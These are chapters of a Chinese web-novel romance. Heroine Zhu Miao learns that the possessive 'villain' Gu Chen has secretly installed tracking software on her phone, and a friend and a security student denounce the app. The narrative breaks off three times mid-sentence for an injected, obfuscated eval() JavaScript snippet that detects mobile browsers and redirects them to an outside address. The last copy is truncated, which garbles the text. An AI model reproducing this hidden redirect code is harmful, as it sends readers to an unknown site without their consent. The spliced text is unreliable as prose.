“我为什么要介意？我可没有这么清高，有好机会，我当然会好好把握啦。而且我觉得我能胜任，这是我对自己有信心呢。” 顾忱微微一愣，接着轻轻点头，“我明白了。” 祝渺轻松一笑，“所以，以后不要骗我，可以吗？” 顾忱心中松了一口气，原来她不会因为这样就讨厌自己。 哪怕她知道……他别有用心。 这是不是可以说明，她或许愿意接受他，原原本本的他。 … 因为实习的安排，祝渺最终和刘宇学长说了自己的决定。 听到这个消息时，刘宇很吃惊，也觉得很抱歉：“渺渺，是因为我吗？如果是的话我和你道歉，我不会……” 祝渺连连摇头：“不是的，学长，是我的规划有变动，没有精力再跟进新闻社的工作了……所以应该是我道歉才对，给你们造成了困扰。” 刘宇松了口气，“不是因为我就好，我还以为是我的表白吓到你了……” 他又有些遗憾，纠结了好一会儿才开口：“所以，我还有机会吗？” 祝渺有点为难，可是又不得不说：“对不起，学长。” “我明白了。” 刘宇学长是个老好人的温和性子，并不强势，听到了拒绝的答案，也就坦然接受了。 “那我祝福你。如果你遇到什么学业上的困难，也可以找我。” “好，谢谢学长。” 向学长说明完情况，祝渺也和一起共事过的社员们道了别。 不过大学就是一个小社会，大家虽一同共事，但也都有自己的学业规划，不会围着新闻社打转，所以他们也懂得尊重对方的选择。 至于顾忱……来得快去得也快，和大家并不怎么熟络，所以他的退社并没有给其他人有什么影响。 祝渺本想让他和自己一起跟同学告个别，但好说歹说，他就是不同意。 算了算了，他的性格，也不太可能做得到和同学好好打招呼吧。 处理完学校的事，祝渺就把课余时间都投入在了电视台的实习任务上。 由于她还是在校生，出外勤的时间不够，因此采访的工作并不需要她来帮忙跟进，新闻的采和资料收集会由她的同事们去做，她只要负责一些协助工作。 比如协助撰写新闻稿件，处理素材，运营官方的账号。 许多事情在线上就可以完成，甚至不需要去上班。 原本电视台的实习生是没有这样的优待的，可谁让她是金主爸爸带进来的关系户呢？ 而且这些工作看似不难，但实际需要处理的细节很多。 现在传统媒体转型升级，从电视台走向各大媒体，他们既要保证官方媒体的权威性，又要让普通民众能接受，就要格外注重报道方式。 这对热衷于网上冲浪的祝渺来说，要把握这个尺度，算不上很难。 她做得很开心。 课本上的理论终究只是理论，她不想一心做研究，毕竟她就不是能安心坐板凳的个性，她太有自知之明了。 于是，她投入了很多精力在自己的专业与工作实践上，连网上瞎冲浪的时间都少了，冲浪冲的都是正经新闻学习。 这就导致……她压根没怎么把注意力放在顾忱身上。她之前用心做的那本《治疗手册》都被她放在了角落吃灰。 祝渺并不是没有感受到顾忱的不满，只是暂时没顾得上顾忱，毕竟男人只会影响她搞学业的速度！ 直到某天回家，她又看见，顾忱拿出了脑机，立在床头…… 祝渺一激灵，知道他忍耐到极致了。 她很上道地上前，趁他没反应过来，主动拥住了顾忱…… 这些天，祝渺还发现了一个大问题。 她本以为，她以工作学习为由，和他商量给自己独立的时间空间，他答应了几次之后，他的接受度就会越来越高。 没想到，每次她离开他的身边，都会引起他的“应激反应”。 只要她离开越久，顾忱就会……想要和她更加亲昵，感受她的存在……比如抱她更长的时间。 而且这变态症状不仅没缓和，感觉还越来越严重！ 看来她的“脱敏治疗”开展得不会这么顺利了。 祝渺心中叹气，这是她第一次主动抱顾忱。 她这“自我牺牲式”的这一抱，希望能起到安抚他的作用，缓解他的不安心理。 然而，顾忱虽然伸手搂住她，埋在她的颈窝，却在吸了一口气后，压抑道：“你在敷衍我。” 祝渺立刻反驳：“我没有！” “骗子。” “……我怎么可能敷衍你。” “那现在这是什么？补偿？渺渺，这是你第一次主动抱我。” “……”被他揭穿了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516738|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是她当然不能轻易承认。 祝渺微微抬头：“不是敷衍也不是补偿！是，是我想你了，这个拥抱是想见你的意思。” 祝渺有些脚趾扣地，可是顾忱他听完却沉默了，没有反驳她。 沉寂了片刻，他才在她的耳畔温吞吞地应了一句：“原来是这样么……” 不知道他信了没有，但他双手却是搂得更紧了，而且从她身上“汲取能量”的时间还更长了。 这天，祝渺对顾忱这些天的反应和状态偷偷做了个记录，一起写在了《治疗手册》上。 第一次，分开2小时，拥抱5分钟。 第二次，分开3小时，拥抱10分钟。 第三次，分开2.5小时，拥抱13分钟。 第四次，分开5小时，拥抱20分钟。 第五次，分开6小时，拥抱半小时和发疯贴贴。 …… 总之就是，采用潜移默化、温水煮青蛙的策略，效果很一般。她还得想点什么其他办法，和顾忱能“好聚好散”才行。 或许，态度强硬一些？谈谈条件？ 不过他可不像吃这套的人，她还没想好应该怎么做。 时间过得很快，这个学期很快就结束了，他们迎来了第一个寒假。 大学放假早，祝渺早早考完试了，却一直在忙碌实习与实践，迟迟没有回家。直到还有两天就是大年三十了，祝召年也等不及，开始频繁给她发消息，催她早点回家过年。 过年，也就意味着，她不可能和顾忱继续待在一起。 今年的冬天比前些年要暖一些，雪也下得更晚。 一直到大年夜前两天的夜里，气温骤降，才开始纷纷扬扬地飘雪。 之前不下，这一下，就下得格外大，莹白的雪花随着风吹下得悠扬，没一会儿，就给整个城市都铺上了白色地毯，把天空都映亮了些。 祝渺第二天就要回家，此刻正收拾行李，乍一抬头，见到窗外的世界已经雪白一片，兴奋地放下行李箱，跑到窗口看雪。 南方城市，虽然年年下雪，但雪总是转瞬即逝，所以她看到雪还是很激动。 甚至一高兴，就直接大喊顾忱：“下雪了下雪了！快过来看雪！” 因为她坚持要走，要回家过年，顾忱已经浑身散发低气压两个小时了。 他正一脸严肃地坐在桌前，看着电脑，漠视周围，眼神晦暗冰冷。偶尔从屏幕中抬起眼，看向祝渺收拾行李的背影。 凝固的气氛被祝渺的一声惊呼打破，顾忱慢慢抬起头来，望向祝渺。 “你快来看呀！” 顾忱不甚理解地从座位上挪动到祝渺身边。 外头太冷，他们并没有开窗。她正趴在玻璃窗前，看着窗外的漫天大雪，温热的气息呼出来，在玻璃窗上留下一块印子。 祝渺伸出手指，在自己面前的水雾上，画了一个笑脸。 然后又在顾忱面前的玻璃上哈了口气，在水雾上画了一个猪头，画完又觉得好笑，忍不住笑出声来。 顾忱：“……” 祝渺又自言自语：“好想出去打雪仗啊，算了算了，太冷了，不想动。” 似乎在纠结要不要出去玩。 “你很喜欢雪？”顾忱问。 似乎很久很久以前，她也曾和雪景一起出现过，可是记忆有些模糊。 “当然喜欢啦，真的很漂亮啊，而且一年就这么几次，甚至有时候遇不到呢。” “虽然不太理解，但如果你喜欢看，虚拟空间里可以设置天气，甚至可以天天下雪，你想看就可以看。” “……不用了谢谢。” 顾忱皱眉，更不理解，“为什么？不是说喜欢？” “可是雪的魅力就在于片刻短暂的美丽，物以稀为贵嘛，见得少所以格外珍贵，要是天天见，就不稀奇了。” 顾忱若有所思。 “所以，你天天见我，就不稀奇了？” “……” 这，这不是一码事啊喂！ 31. 第 31 章 祝渺忽然觉得这是一个好机会，可以借机“教育”一下，于是道：“天天见你不会不稀奇，但分开后再见和重逢的感觉会更有滋味。” “什么滋味？” “呃……比如激动，喜悦，感动，安心。” “你见我也会？” “……会的。”祝渺被问住，开始睁眼说瞎话。 “骗子。”顾忱一秒看破，“你根本没有。” “……” 祝渺忍不住想抓脑袋，这种情况，她该怎么找补啊啊啊。 还好，顾忱没为难她，沉思了一会儿道：“和你分开，我会控制不住地想你，再见到你，我只想让你在我身边哪里都不准去。这是你说的哪一种情感？” 祝渺又沉默住了。 她想说：这是你身为变态反派的控制欲和占有欲！ 但……开口还是给了一个经由她正经分析的答案。 “那是……因为你对我不够信任。” 顾忱微微侧头，“信任？” 祝渺点点头。 “如果你信任我，就不会想这样控制我，不会想一直看着我，把我留在身边，你现在对我这样，是害怕我对你不告而别，或者不相信我们会再次相见。” 顾忱没有表示什么反应，只幽幽道：“可你每次都在对我不告而别。” “什么每次，非要说的话也就两次吧？” 顾忱眼神微眯：“还不够多？” 这是在控诉么…… “……对不起，我以后都不会了。”祝渺见机行事，顺势低头认错。 “都过去了。”他主动说。 说的仿佛是释怀的话，内心却道：渺渺，希望这一次会有所不同，不要再让我陷入绝望…… 眼见顾忱的情绪被安抚下来，祝渺暗暗放下心。 第二天的早晨，雪已经停了，积雪也消融了许多。 祝渺收拾了一整个大箱子，戴好了围巾帽子，把自己裹得严严实实，脸也捂住了，只露出一双眼睛。 依然是顾家的车来接送，祝渺已经习惯地坐上车，顾忱也和她一起，一直把她送到高铁站。 然而，他这一路上一直沉默不语，祝渺也没有主动开口，微妙又僵硬的气氛一直维持到直到他们下车。 顾忱让司机别动，他自己从后备箱取出行李箱，递给祝渺。 祝渺在他面前站定，脸被包裹得严实，只露出一双眼睛，在她雪白的巴掌大的脸颊上，显得更大更清泠泠的。 围巾捂住了嘴，她开口声音都闷闷的：“那我走了哦。” 顾忱看着她半晌，才应了一声“嗯”。 祝渺转身离开走进车站，走了两步又回头冲他招了招手，从她微眯的眼睛可以看出，她此刻应该是笑盈盈的。 顾忱看着她离去的背影，垂下了眼眸，又是一片已经很久没有出现过的暗淡无光。 回到车里，他没有说话，司机也习惯地保持沉默。 车厢内一片寂静，过了不知多久，顾忱忍不住拿出了手机，点开了一个页面。 上面展开了一份地图，一个小红点正在附近一动不动，过了好一会儿，忽然开始小幅度移动，然后速度越来越快，变成了持续又高速的移动。 顾忱心中开始焦躁不安，生怕自己后悔，于是抬头和司机道：“回去吧。” 司机这才发动车子驶离了车站。 回到空无一人的公寓，走进祝渺的卧室，她的房间里仍保留着许多东西，并没有带走，让人感觉她好像会立刻回来。 慢慢躺在卧室里的沙发上，转头看向床的方向，那里仿佛仍有她的气息。 不安地拿出手机，继续打开地图，直到看着小红点移动到另一个城市某个位置，然后不再动。 她现在在这里，这个陌生的城市。 过了一会儿，一则消息弹出，是祝渺发来的。 渺渺：【我到家了】 顾忱回复：【好】 之后屏幕上就再也没跳出任何新的消息。 顾忱看着聊天框发了几分钟的呆，没有等到她的消息，这才犹豫地关了屏幕。 才一两个小时见不到她而已，可他已经要抑制不住自己去追逐她的心思…… * 祝渺太久没回家了，一到家就兴奋地扑到自家老爸怀里。 “你说说你，这么大个人了，还像个小孩子似的。” “我哪里像小孩儿了，我都工作啦。” “哦，你还说，这才刚上大学多久啊就忙工作，都快忘了我这个孤寡老人了吧，这整个学期都不着家了。” 祝渺乖乖认错，尴尬一笑：“嘿嘿～那不是为了以后更好地工作嘛。” “以后还要打大半辈子工呢，这么着急干什么？还不趁着不用上班的日子好好玩？” “……”也是很有道理。 第二天就是除夕，他们家没什么亲戚，每年过年基本上就她和父亲一起过。 这对祝渺这种宅家星人很友好，基本没有走亲访友的苦恼。 除夕夜前和父亲采买一些新的日常用品和过年的新衣裳，准备些爱吃的菜，虽然没有人家热闹，但也简单温馨。 下午出了一趟门，二人就拎着大袋小袋满载而归了。 贴了春联，做了大扫除，整个家里都明亮了，一歇下来，祝渺就躺沙发上一动不想动了。 她就是这种动起来很勤快很用功，一停下来就想躺平的人。 祝召年也习惯了宠着她，看着她懒洋洋的样子，啥也没说，就转头进厨房做饭了。 祝渺是闻着香气醒过来的。 醒来第一件事是打开手机屏幕，这才发现不少人给她发了信息，其中一个正是顾忱。 顾忱平时都和她在一块，他们很少互发消息，所以她也没有和他聊天的习惯，只在刚回家时和他报备了一下，之后就把这事抛之脑后了。 顾忱：【在做什么】 下面一条隔了一段时间。 顾忱：【你什么时候会回来】 这才多久啊，就已经开始催了……祝渺感觉压力倍儿大，直接就是一个不想回复。 犹豫了半天，才回：【睡着了…电视台春节放假七天，我也差不多时间回】 发出去没多久，对方就显示正在输入，可输入提示跳了好几次，最后他只回复了一个【嗯】。 看起来好像不是很高兴。 祝渺开始找话题，这才想起来她好像没问过顾忱的情况。 祝渺：【你准备怎么过年呀？】 又是半天输入中的提示。 顾忱：【不过】 不过年？ 祝渺：【为什么？】 他就又不回复了。 好嘛，话题终结者。 这人也真奇怪，平时这么缠人，可是话偏少得可怜，连线上说话也是。 祝渺也干脆不回了。正好，祝召年烧好了晚饭，喊她吃饭了。 新年的钟声即将敲响，祝渺家里只有她和祝召年，比起寻常人家总是冷清了些，但这么多年他们也习惯了。 零点到来之际，祝渺躺在沙发上看春节联欢晚会，听着倒数，也算有了点仪式感。 手机提示音响了好几声。 发来祝福的人很多，有秦洛，刘宇学长，还有些朋友同学群在纷纷发送祝福和红包。 其他人不奇怪，可其中还有一个是顾忱。 他只有一句话：【新年快乐】 是所有祝福中最短的一条。 可祝渺却在聊天屏中停留最久，纠结了一下，最终站起身跑到了房间阳台上。 拨通了电话，对方接得很快。 听筒里穿出他低沉又清冽的声音，喊了她一声“渺渺”。 祝渺开口：“顾忱，新年快乐。” “嗯。” “你不是不过年吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们家经济条件还算不错，临北市物价不高，他们家住的是双层小别墅，面积倒是不大，但自带小院子。 虽然平时并没有什么人打理，可此时积雪一下铺满了小院，还是美得动人。 拍完照，祝渺就被祝召年拉着到院子里堆雪人。 祝召年一边说自己“童心未泯”，一边滚雪球，没一会儿，就高效率地滚了个大雪球。 而祝渺嫌冷，滚了一个小雪球。 没一会儿，雪人就堆好了，就是长得有些奇形怪状。 祝渺乐得哈哈大笑，拿出手机咔咔就拍了一堆照片。 冷风嗖嗖吹，拍完照，父女俩就赶紧回屋取暖了。 晚上十点，祝召年就早睡早起回屋睡觉，祝渺也准备早早躺进温暖的被窝。忽然电话就响了。 居然是顾忱。 “顾忱？怎么了？” “下来。” “什么？” 祝渺忽然反应过来，跑到卧室的阳台，往下一看，还真在小院外昏暗的路灯下看到一个人影，看不清脸，可看到身型，一眼就能认出那是谁。 “你来临北了？” “嗯。” “你等一下，我加个衣服。” 祝渺来不及惊讶，赶紧穿了一身羽绒服，裹上围巾，抓了两把头发，奔下楼。 顾忱就在院门口的大路上安静站着，一身黑色毛呢大衣，穿戴规整，很衬他修长的身型，为他削去了几分少年气，增加了几分成熟和深沉。 不像二次元漫画走出来的男主角，倒像是偶像剧里走出来的了。 祝渺裹紧了自己的大羽绒服，碎步走出院子，轻笑道：“穿这么少，不冷吗？” 顾忱抬眼看见她，立刻就抬脚走上前，一下拥住了他。 ……真是熟悉的操作。 他搂得紧了紧，仿佛要将她整个人都嵌入体内。 “这样，就不冷了。” 32. 第 32 章 祝渺拍拍他的肩，轻轻将顾忱推开。 顾忱松开了手。 祝渺见到他有点意外，几天不见他，忽然觉得他看起来顺眼许多。 果然是距离产生美，连着被他抱都没那么别扭了。 “你是怎么找到我家的？” 他不回答，可祝渺心中已经基本有了答案。 “你调查我的家庭住址了？” 他还是不答，但大概是默认了。 他要调查到自己的信息并不难，早在他找到自己的时候她就应该清楚。 不知是不是一阵寒风过来，打在祝渺脸上，一阵寒气钻进脖子和后背，让她忍不住将围巾裹紧，缩头往围巾里钻了钻。 真冷啊。 总不能这么一直尴尬地站着吧。 祝渺勉强笑笑，闷声道：“你等一下我。” 她转头跑回屋里，拿出了一个袋子。 顾忱目光落在她手里的东西：“这是什么？” 祝渺蹲在地上，翻袋子里的东西，掏出来是各式各样的盒子。 “这都是我过年囤的烟花！你玩过吗？” 顾忱摇摇头。 祝渺边拿边如数家珍。 “这些个是仙女棒，有各种款式，这个叫舞龙棒……啊不过现在太晚了，我们只能玩玩安静的了。” 祝渺拿出一盒仙女棒，递给顾忱两根，自己也拿两根。 先给自己点亮了一根，然后靠近另一根，两根都闪起了火花。 “你快过来借个火，诶诶靠近点！” 两只手一块凑近顾忱，点亮了他手上的两根仙女棒。 火光映亮了他的脸，暖洋洋的金色光芒在他没什么表情的脸上，无端给他增加了几分温柔。 火树银花，祝渺一下子高兴起来，乐得挥舞起来，舞出了两圈金光。 “好看吧好看吧！” 顾忱看着她的脸，火花闪烁，她的笑容比冬日里的火光还明媚。目光落在她白净的脸颊与娇嫩的唇上，手上的火光并没有什么温度，可是心里却好像平白添了几分热意。 “很好看。”他喉结微动，应声答道。 “你也蹦一蹦嘛～只拿着烧多无聊呀。” 顾忱听了，拿着两根棒子不协调地挥了挥手。 略显几分尴尬。 祝渺忍不住咯咯笑，等手上的火花烧完了，就又拿了根新的递给顾忱。 “这样吧，你拿着，我给你拍个照！” 给他点上，顾忱呆呆地举着仙女棒，站在原地不动。祝渺拿出手机对着他。 “你别看我呀，你看你手上的烟花。”兼职摄影师祝渺指挥道。 顾忱垂下眼帘，光映出了他长长的睫毛，眼里倒映出闪烁又干净的眸光。 真好看啊，随便构图都是精致的画面。 祝渺连拍几张，看了看自己的作品成果，画面静谧美好得她心脏扑通扑通跳了好几下。 “看看，我拍得不错吧！”祝渺拿到顾忱面前邀功。 顾忱却提议：“我们合照吧。” “好呀。” 祝渺举起手机，咔嚓，留下一张合照。 她在镜头前笑得灿烂，顾忱在后头眼神温和，人畜无害的模样。 这样可真看不出来是个反派。 “晚点把照片发你哦。” “好。” 燃烬了一串仙女棒，已经是半夜了。陪了顾忱这么久，祝渺也想回屋了。 她好奇道：“大晚上赶来临北找我，就只是想见我？” “嗯。”顾忱应声。 “你今晚住在哪里？” “附近的酒店。” “大过年的，还能订得到酒店啊。” 顾忱点头，犹豫了一会儿，老实回答：“我……订了三天，今天是最后一天。” “什么意思？三天前你就一直在这里？” 顾忱轻应了一声。 这下祝渺是真的有些惊讶了。 原来这些天他看似安分，实则一直在她不远的地方，而且是她回家不久后，他就来了。 顾忱放低了声问：“明天下午回江州，你来送我吗？” 祝渺心想，才几天她的假期就要结束了，她就要回学校去了，有什么好送的呢。 可开口却是心口不一的回答：“嗯……好。” 送他离开，祝渺回屋，进了房间躺进被窝，一时间心情有些复杂。 说不出怎么是什么心情，是平静接受的，还是抗拒不安的。 叹了口气，沉沉地睡去了。 第二天吃过午饭，祝渺按顾忱给她的地址，跑到了酒店附近。 确实离她家很近，不过一两公里远。 他是司机专车接送的，江州大学离临北不远，开车三小时就能到。 祝渺走进酒店时，他正坐在酒店大堂的沙发上，低头看着手机。 祝渺背对着他，悄悄走上前，看到他专注地看手机屏幕，似乎……是在看她，她昨晚拍的合影。 这种时候还想着看她照片啊，祝渺差点老脸一红。 喊了一声他的名字，他才关掉手机屏幕转过头来。 站起身来，走到祝渺身边，这次只是轻轻拥了她一下，几秒便放开了。 祝渺这回来，真就是来送他一下。 “我走了。”顾忱认真看她。 看着顾忱依依惜别难舍难分的模样……仿佛是多少天见不到了似的。 祝渺想，若是从前，她一个反矫情达人怎么可能做出这种事，光是想想就觉得脚趾扣地了。 除了她小时候，特意讨好顾忱这个小少爷之外，她什么时候这么顺从过一个人呢？ 一边纠结一边走回家。 走到家门口，忽然顿住脚步。 一股寒意莫名从脚底顺着爬上背后。 等等…… 她昨晚……什么时候把那张合照发给顾忱了呢？ 反复回想了一下昨晚，她是用她的手机拍的照，在发给他之前就睡着了。重新检查了一下手机，照片好好地躺在她的相册里，聊天记录里，她也没有发过这张照片。 难道…… 那么，他到底是怎么找到自己的？真是靠调查吗？ 大年夜时，他又是怎么这么笃定地说别人给自己发新年祝福的？ 重重困惑袭上心头。 脚步沉重地走向房间，连祝召年问她去哪玩儿了的话都没听到。 打开了手机游戏，玩了一会儿，又开始卡顿。 不对劲，很不对劲。 祝渺开始搜索，如何进行手机自检。 捣鼓了不知道多久，她才用了一些自查工具，查到了一个风险文件。从手机文件目录里层层进入查看，找到了一个有些奇怪的安装包。 她把这个安装包发给秦洛，拜托她帮自己查一下。她知道秦洛朋友比较多，也有些学计算机学网络安全的同学。 秦洛收到后，给她回复：“没问题！交给我！” 一直到晚上，秦洛直接打来了电话。 她语气激动，“我靠，渺渺，我找了一个信息安全方面很厉害的师兄，他说这个文件不仅可以定位，还可以监控和传输你的手机所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568822|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息！！太恐怖了吧！你哪里下载的，你的信息一定都泄露了！” 祝渺心狠狠一沉。 已经有所预料，但听了以后还是觉得她的脑袋有点头晕目眩之感。 为了不让秦洛担心，祝渺解释：“不是我，我也是同学拜托我查的。” 秦洛松了口气，“那你没直接下载安装吧？” “下载了一下，没有安装。” “哦，那就好。” 祝渺心乱如麻，纠结了好一会儿，终于问道。 “洛洛，问你一个问题，能用你心理学的角度阐述一下，控制欲特别强的人是什么心态吗？” “啊？我想想啊。” 秦洛那边似乎有些吵，她找了一个安静的地方。 “你说的这个控制欲强有点宽泛啊，我也不好判断，但是大致上有几种表现和原因，比如强迫症，焦虑症，人格障碍啊之类的，你说的是哪种？” “嗯……对恋人的控制欲特别强，极度没有安全感，比如用这个程序，时时刻刻要盯着女生行踪的男生？” “啊？用这个程序那真就是完全没有隐私了，这种人一定是控制狂、恐怖情人吧？！不会真是你遇到了……” “不是不是，是一个大学同学。”祝渺及时打断她，打再次打消她的怀疑。 “好吧，反正不是你就行，要是你的话，可别怪我极力劝分了，这种男人可太可怕了，现实中可千万要离得远远的。不过，你不是这种人啦，你这么理智的人，也不太可能接受。” “我明白。” 祝渺又犹豫了一下，还是问：“那……那你说，像我同学那样，愿意接受这样的男生的女生，又是什么样的心态呢？” 秦洛听了，也有些为难。 “这……我也不太懂，按我理解，这种女生通常是缺乏安全感、缺爱，比如在感情上没有被人‘坚定选择’过，所以渴求被无微不至地关注，把这种强迫式的控制，当成了独一无二坚定的爱意。但其实并不健康……” “那我应该怎么劝她？” “说实话，如果她乐在其中，那劝她没什么用……这是心理问题，还是得她自己醒悟。当然如果是正常人遇到这样的人，我的建议还是，当断则断。藕断丝连，必受其害。” “……有道理。” 听完秦洛的阐述，祝渺乱糟糟的思绪，总算清晰了一些。 她不能也不想变成原文那样的角色，也不敢在反派身上去赌一个不确定的未来。 若是她最终还是选择不接受反派顾忱，她的结局会是什么？会是和原文一样，被顾忱监禁，然后不断逃跑，最终下场凄惨吗？ 这几个月，她本试图一点点改变顾忱，可是她发现，这样的努力始终收效甚微。 会不会最终，她所谓的努力改变，都只不过是她一厢情愿。或许在原著正式的剧情开始之后，一切都会回到正轨。 就像她原本已经可以和顾忱全然没有交集，可是命运莫名的安排，还是让他们重新相遇了，让顾忱找到她，来到了她的身边。 勉强自己冷静下来，不要慌张，祝渺才重新开始想自己的那本《治疗手册》后续应该如何规划。 哦，可惜她的手册并没有带回来。 理智告诉她，不能越陷越深，所以她要控制好自己的情绪，不能被他所影响。 祝渺一头乱麻时，收到了顾忱的信息。 他莫名其妙地发了一个：【对不起】 看来他已经通过“监控”自己，知道她已经查到了他对自己做的事。 他居然还会道歉？祝渺心中冷笑。 33. 第 33 章 【你有什么对不起我的？】 祝渺没什么好气。 他又重复了一次：【对不起】 呵呵。 祝渺气闷得不行，虽然把那个追踪文件清理干净了，但心里依然有疙瘩。 总感觉自己做什么，都在受人监控。 这下手机也不好玩了。 接着几天，她都不太愉快，甚至不想回学校，不想见到顾忱。 可是……他是大反派啊大反派啊，他本来就不是什么正常人！ 祝渺忽然意识到，与顾忱相处的这段时间，她已经逐渐模糊了顾忱作为大反派的设定，甚至把他当成了稍微有点性格缺陷的普通人。 她的危机意识已经大大减弱，这太糟糕了。 所以，她现在还是要想办法安抚好反派，不能让反派有进一步黑化的机会…… 一想到这，祝渺就烦躁不安。 她小时候以为自己就是这个世界的人，她就可以强迫自己为了生存，去讨好别人。 可是，自从她“觉醒”后，她就选择了放弃稳定的生活，努力躲开剧情，成为一个自由的人。 这么多年来，她确实也都自由地活着，用自己的独立意识——这让她几乎快要忘了这是一个小说世界。 如今，她又要被迫回忆起剧情，屈于对剧情的担忧，去讨好别人…… 一时间真是令人难以接受。 … 寒假还没结束，但电视台已经复工了。祝渺只在家里待了几天，最终还是坐上了回江州的车。 回去先见顾忱，这次她想和他说个明白。 祝渺并没有提前和顾忱打招呼，自己一个人回到了公寓。 打开公寓的门，屋里很安静，窗帘都是拉起来的，只有隐约的光线透露进来，昏暗静谧。 好像没有人。 还以为顾忱不在家时，祝渺却看到沙发上躺着一个身影。 “顾忱？”她轻轻喊了一声，可沙发上的人并没有反应。 祝渺悄悄靠近，发现他正微微蜷缩着，双眼紧闭，眉头紧锁，似乎十分难受。 伸手试探着摸了一下他的额头，竟热得发烫。 “你发烧了……” 祝渺在他身边坐下，喊他的名字，尝试着叫醒他，他却迟迟没有反应，好像陷入了昏迷。 虽然生气，见了他心烦，但也不能这么放着不管他吧？ 她一个人没法把他这么个昏迷的大男人送去医院，不过还好，家里应该是有医药用品的。 祝渺东翻西翻，翻出了温度计和退烧药。 轻轻拍了拍顾忱的脸，勉强让他恢复一点意识，“张嘴，量体温。”顾忱微微张开嘴，任冰凉的温度计贴近。 “把温度计含住了啊，别掉出来。” 等了好一会儿，祝渺拿起来一看刻度，39.5，居然烧这么高。 祝渺只能再使劲儿把他扶起来，又费了老大劲儿勉强他把退烧药吞下去，再给他贴上了退烧贴。 这药她吃过，见效很快。 忙活完，祝渺累得瘫下了。大概等了半小时，顾忱就已经逐渐恢复意识。 祝渺正坐在沙发另一头休息，迷迷糊糊睁开眼，看到顾忱坐了起来，呢喃了一句：“你醒啦？” 顾忱撕掉额头的退烧贴，喘了几口气，直勾勾盯着她。 祝渺这会儿忽然想过来，她回来见他，本来应该是生气的，结果被他这么一折腾，连个撒气的地方都没了。 欺负病号……不太厚道。 看在他是个病人的份上，祝渺准备暂时先不提那件事。 等他恢复了，他们需要好好聊聊。 而现在，她得先看看他现在体温怎么样了。 起身刚要拿起温度计，他却一把拽过她的手，拉着她转过身。 祝渺一个没站稳，直接转身倒在他身上，一只有力的胳膊扶住了她。 她挣扎着要起身，却被他直接扣住了，挣扎了两下，没站起来。 ……看来退烧退挺快，力气这么大。 “你干什么？”祝渺不满地抬头看他。 顾忱却眼神迷离，继续直直地盯着她，半晌，略带疑惑道：“渺渺？” ……看来这烧还没退全，看起来不太聪明的样子。 “是我。” “你回来了。” “对，我刚到家。” “太好了，你回来了，这不是做梦。” 顾忱似乎忽然安心，手上的力道卸了，改为轻柔地环抱住她，脑袋放在她肩膀上，就又昏了过去。 “……”呃，怎么又睡过去了。 又是一通帮他测温降温的操作。 不知道过去了多久，祝渺试探他的额头已经完全不烫了，他的神色也恢复正常，祝渺才在沙发上彻底睡了过去， 第二天早上，祝渺闻着食物的香气，迷迷糊糊地推开身上厚厚的被子。 睁开眼一看，顾忱已经神色自若、神清气爽地在厨房倒腾吃的了。 “你已经彻底好了？” 顾忱抬头，“嗯，我已经好了。” 这么高的烧，好得还挺快，体质可真不错。 “你昨天怎么忽然发这么高的烧？” “应该不是昨天忽然烧的。” “你烧了很久？” “不太清楚，在你回来之前，我好像已经躺了两天。” “……”生命力真是顽强。 祝渺嫌弃道：“家里有药也不吃？哪天你猝死家中了，都没有人知道。” 一边说一边爬起来洗漱吃早饭。 等到二人一派和谐地坐在餐桌上吃饭时，祝渺才意识到不对。 不是，她不是应该找他说理、吵架的吗，怎么还吃上饭了？？ 俗话说，吃人家的嘴短，拿人家的手软，这下让她怎么发挥啊！ 她忽然回过神来，反派阴险狡诈，这场病怕不是都是他自导自演出来的，为的就是分散她的注意力。 这么想想，简直太合理了。 祝渺越发觉得这个可能性很大，吃饭都谨慎了一些。 顾忱放下筷子，郑重其事地开口：“对不起。我不是故意要监控你的手机。” 祝渺还没想好怎么提起这件事，没想到他却主动开口了。 可这个道歉，她一点都不能接受。 祝渺之前酝酿未果的怒气被这一句话瞬间点燃。 她也放下了筷子，严肃开口：“你有这么多次机会可以清除程序，或者不使用它，可是你都没有这么做，你说你不是故意的，你觉得这听起来可信吗？” 顾忱微微低下头。 “你说的没错，但我控制不住自己。” “那以后呢？你还会这么做吗？” 顾忱抬眼，目光如寒冰冷魄，眼底深不可测：“渺渺，如果是现在，你问我这个问题，我会告诉你，我依然会。” “为什么？” “因为你。” “我怎么了？” “渺渺，我看得出来，无论是小时候还是现在，你一直以来都不是真心对我。” “你……怎么能这么说？” 他此刻一副楚楚可怜的模样，倒显得是她在欺负人了。 祝渺不免气势减弱，说话也没那么有底气了。 而且他这么说，她不知道该如何反驳。 不可否认的是，她早就在心里给他打上了反派的印记。 她也不知道自己面对他时，有多少真心，又有多少防备和计算。 他忽然起身，不知从哪里，拿回来一个本子。 祝渺瞬间瞳孔放大，“你从哪里找到的！你翻我东西了？” “我没有翻，它被撞掉在了地上，我捡了起来。” 顾忱嘴角微扬，显出几分讽刺，“怎么，原本是特意藏起来的？可还是被我看到了，这可能是偶然，也可能是注定吧。”< 